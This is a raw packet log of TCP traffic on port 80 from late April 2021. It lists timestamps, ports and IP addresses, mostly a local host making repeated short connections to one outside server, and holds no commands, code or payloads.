Apr 28, 2021 23:22:52.000788927 CEST	49813	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:52.000864029 CEST	49813	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:52.000931025 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.000947952 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.001027107 CEST	49813	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:52.001050949 CEST	49813	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:52.049453974 CEST	80	49814	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.053813934 CEST	80	49814	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.053932905 CEST	49814	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:52.099546909 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.099577904 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.099792004 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.099875927 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.100110054 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.100127935 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.100279093 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.100574017 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.100724936 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.100759983 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.100919008 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.101119041 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.101360083 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.101603031 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.101634979 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.101756096 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.101797104 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.101958990 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.102157116 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.102171898 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.103754044 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.103910923 CEST	49813	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:52.159358978 CEST	49814	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:52.164729118 CEST	49815	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:52.205647945 CEST	80	49813	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.205786943 CEST	49813	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:52.258601904 CEST	80	49814	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.258970976 CEST	49814	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:52.266318083 CEST	80	49815	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.267043114 CEST	49815	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:52.268044949 CEST	49815	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:52.371436119 CEST	80	49815	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.375814915 CEST	80	49815	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.376797915 CEST	49815	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:52.489417076 CEST	49815	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:52.489533901 CEST	49817	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:52.587784052 CEST	80	49817	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.587915897 CEST	49817	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:52.590914011 CEST	49817	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:52.590987921 CEST	80	49815	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.592338085 CEST	49815	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:52.688296080 CEST	80	49817	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.692389965 CEST	80	49817	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.697913885 CEST	49817	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:52.802002907 CEST	49817	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:52.803482056 CEST	49818	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:52.899446964 CEST	80	49817	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.899653912 CEST	49817	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:52.905039072 CEST	80	49818	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:52.905257940 CEST	49818	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:52.905862093 CEST	49818	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:53.007895947 CEST	80	49818	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:53.012077093 CEST	80	49818	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:53.015604019 CEST	49818	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:53.137891054 CEST	49818	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:53.138748884 CEST	49819	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:53.238915920 CEST	80	49819	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:53.239015102 CEST	49819	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:53.239710093 CEST	80	49818	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:53.240398884 CEST	49819	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:53.240629911 CEST	49818	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:53.341876030 CEST	80	49819	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:53.345448017 CEST	80	49819	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:53.345524073 CEST	49819	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:53.456653118 CEST	49819	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:53.458040953 CEST	49820	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:53.558274984 CEST	80	49819	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:53.558351994 CEST	49819	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:53.559166908 CEST	80	49820	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:53.559290886 CEST	49820	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:53.560100079 CEST	49820	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:53.659776926 CEST	80	49820	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:53.663809061 CEST	80	49820	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:53.663975000 CEST	49820	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:53.784925938 CEST	49820	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:53.786489964 CEST	49822	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:53.887000084 CEST	80	49820	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:53.887162924 CEST	49820	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:53.893306017 CEST	80	49822	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:53.893455982 CEST	49822	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:53.894041061 CEST	49822	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:53.998481989 CEST	80	49822	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:54.007091999 CEST	80	49822	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:54.007179022 CEST	49822	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:54.112931013 CEST	49822	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:54.114300966 CEST	49823	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:54.218586922 CEST	80	49823	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:54.218765020 CEST	49823	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:54.219228983 CEST	80	49822	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:54.219309092 CEST	49822	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:54.219609976 CEST	49823	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:54.322551012 CEST	80	49823	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:54.327195883 CEST	80	49823	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:54.327481985 CEST	49823	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:54.440810919 CEST	49823	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:54.442214966 CEST	49824	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:54.542269945 CEST	80	49824	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:54.542431116 CEST	49824	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:54.543340921 CEST	49824	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:54.543792963 CEST	80	49823	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:54.543869972 CEST	49823	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:54.640542030 CEST	80	49824	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:54.644491911 CEST	80	49824	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:54.644556046 CEST	49824	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:54.754578114 CEST	49824	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:54.756148100 CEST	49825	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:54.849962950 CEST	80	49825	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:54.850116014 CEST	49825	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:54.850843906 CEST	49825	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:54.851874113 CEST	80	49824	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:54.851955891 CEST	49824	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:54.946062088 CEST	80	49825	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:54.952058077 CEST	80	49825	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:54.952120066 CEST	49825	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.075154066 CEST	49826	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.077290058 CEST	49825	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.078464985 CEST	49827	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.171546936 CEST	80	49825	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.171638966 CEST	49825	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.172435999 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.172544003 CEST	49826	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.172812939 CEST	49826	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.174935102 CEST	80	49827	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.177066088 CEST	49827	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.177629948 CEST	49827	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.269731998 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.269761086 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.269895077 CEST	49826	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.270319939 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.270431042 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.270435095 CEST	49826	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.270509958 CEST	49826	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.274125099 CEST	80	49827	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.281514883 CEST	80	49827	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.281964064 CEST	49827	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.365145922 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.365164995 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.365179062 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.365252018 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.365291119 CEST	49826	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.365331888 CEST	49826	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.365341902 CEST	49826	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.365494013 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.365658045 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.365700006 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.365782976 CEST	49826	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.365818024 CEST	49826	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.365823984 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.369102001 CEST	49826	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.398746014 CEST	49827	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.400326967 CEST	49828	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.461991072 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.462018967 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.462028980 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.462165117 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.462182045 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.462193966 CEST	49826	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.462244034 CEST	49826	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.462286949 CEST	49826	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.462655067 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.462816954 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.462852001 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.462924957 CEST	49826	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.463010073 CEST	49826	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.464241028 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.464378119 CEST	49826	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.464456081 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.464534044 CEST	49826	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.493443966 CEST	80	49827	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.493532896 CEST	49827	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.498249054 CEST	80	49828	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.498457909 CEST	49828	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.499285936 CEST	49828	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.557445049 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.557471037 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.557527065 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.557682037 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.557845116 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.557879925 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.558005095 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.558183908 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.558321953 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.558362961 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.558407068 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.558522940 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.558758020 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.558876991 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.559731960 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.559766054 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.562326908 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.565181971 CEST	49826	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.598181963 CEST	80	49828	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.602108002 CEST	80	49828	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.602200031 CEST	49828	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.660397053 CEST	80	49826	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.660532951 CEST	49826	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.707727909 CEST	49828	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.709247112 CEST	49830	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.805660009 CEST	80	49828	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.806416035 CEST	80	49830	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.806515932 CEST	49828	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.806566000 CEST	49830	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.807648897 CEST	49830	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:55.904905081 CEST	80	49830	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.908813953 CEST	80	49830	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:55.909044027 CEST	49830	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:56.019367933 CEST	49830	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:56.020735025 CEST	49831	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:56.114512920 CEST	80	49831	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:56.114761114 CEST	49831	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:56.115361929 CEST	49831	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:56.116960049 CEST	80	49830	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:56.117059946 CEST	49830	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:56.209022045 CEST	80	49831	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:56.212799072 CEST	80	49831	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:56.213346004 CEST	49831	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:56.315973043 CEST	49831	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:56.317555904 CEST	49832	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:56.409286976 CEST	80	49831	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:56.409928083 CEST	49831	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:56.414633989 CEST	80	49832	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:56.414848089 CEST	49832	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:56.417648077 CEST	49832	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:56.516628027 CEST	80	49832	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:56.523513079 CEST	80	49832	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:56.523627043 CEST	49832	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:56.628489017 CEST	49832	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:56.629501104 CEST	49833	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:56.726033926 CEST	80	49832	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:56.726114988 CEST	49832	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:56.728913069 CEST	80	49833	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:56.729018927 CEST	49833	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:56.729471922 CEST	49833	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:56.830465078 CEST	80	49833	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:56.838960886 CEST	80	49833	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:56.839078903 CEST	49833	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:56.946244001 CEST	49833	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:56.947770119 CEST	49835	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:57.047174931 CEST	80	49833	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:57.047818899 CEST	49833	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:57.048326015 CEST	80	49835	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:57.051306009 CEST	49835	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:57.053813934 CEST	49835	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:57.157057047 CEST	80	49835	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:57.160803080 CEST	80	49835	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:57.160958052 CEST	49835	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:57.270061970 CEST	49835	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:57.275465965 CEST	49836	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:57.372515917 CEST	80	49835	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:57.372875929 CEST	80	49836	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:57.372968912 CEST	49835	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:57.373018026 CEST	49836	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:57.373718023 CEST	49836	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:57.469063997 CEST	80	49836	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:57.472317934 CEST	80	49836	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:57.473257065 CEST	49836	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:57.581897974 CEST	49836	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:57.582911015 CEST	49837	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:57.676317930 CEST	80	49836	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:57.676346064 CEST	80	49837	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:57.677402020 CEST	49836	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:57.677470922 CEST	49837	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:57.678097963 CEST	49837	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:57.775362015 CEST	80	49837	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:57.775396109 CEST	80	49837	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:57.779675007 CEST	49837	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:57.815573931 CEST	49677	80	192.168.2.5	84.53.167.113
Apr 28, 2021 23:22:57.857306957 CEST	80	49677	84.53.167.113	192.168.2.5
Apr 28, 2021 23:22:57.857461929 CEST	49677	80	192.168.2.5	84.53.167.113
Apr 28, 2021 23:22:57.897375107 CEST	49837	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:57.898494959 CEST	49838	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:57.993350983 CEST	80	49837	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:57.993448973 CEST	49837	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:57.996289968 CEST	80	49838	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:57.996417046 CEST	49838	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:57.997272968 CEST	49838	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.096544027 CEST	80	49838	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.096769094 CEST	49679	80	192.168.2.5	2.20.142.210
Apr 28, 2021 23:22:58.100200891 CEST	80	49838	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.103323936 CEST	49838	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.141335964 CEST	80	49679	2.20.142.210	192.168.2.5
Apr 28, 2021 23:22:58.141443014 CEST	49679	80	192.168.2.5	2.20.142.210
Apr 28, 2021 23:22:58.207056999 CEST	49838	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.208287954 CEST	49839	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.286132097 CEST	49840	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.305536032 CEST	80	49838	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.305619955 CEST	49838	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.316381931 CEST	80	49839	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.316549063 CEST	49839	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.317373037 CEST	49839	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.381397009 CEST	80	49840	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.381592035 CEST	49840	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.381927013 CEST	49840	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.426352024 CEST	80	49839	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.429405928 CEST	80	49839	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.429491043 CEST	49839	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.476531982 CEST	80	49840	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.476596117 CEST	80	49840	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.476634026 CEST	80	49840	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.476661921 CEST	80	49840	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.476707935 CEST	49840	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.476824045 CEST	49840	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.534920931 CEST	49839	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.535944939 CEST	49841	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.561171055 CEST	80	49678	93.184.220.29	192.168.2.5
Apr 28, 2021 23:22:58.561336994 CEST	49678	80	192.168.2.5	93.184.220.29
Apr 28, 2021 23:22:58.572141886 CEST	80	49840	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.572163105 CEST	80	49840	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.572246075 CEST	80	49840	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.572266102 CEST	49840	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.572320938 CEST	49840	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.572339058 CEST	49840	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.573520899 CEST	80	49840	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.573539019 CEST	80	49840	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.573627949 CEST	49840	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.573741913 CEST	49840	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.636166096 CEST	80	49841	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.636380911 CEST	49841	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.637147903 CEST	49841	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.643388033 CEST	80	49839	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.643522024 CEST	49839	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.666949034 CEST	80	49840	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.666975975 CEST	80	49840	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.666990042 CEST	80	49840	176.111.174.114	192.168.2.5
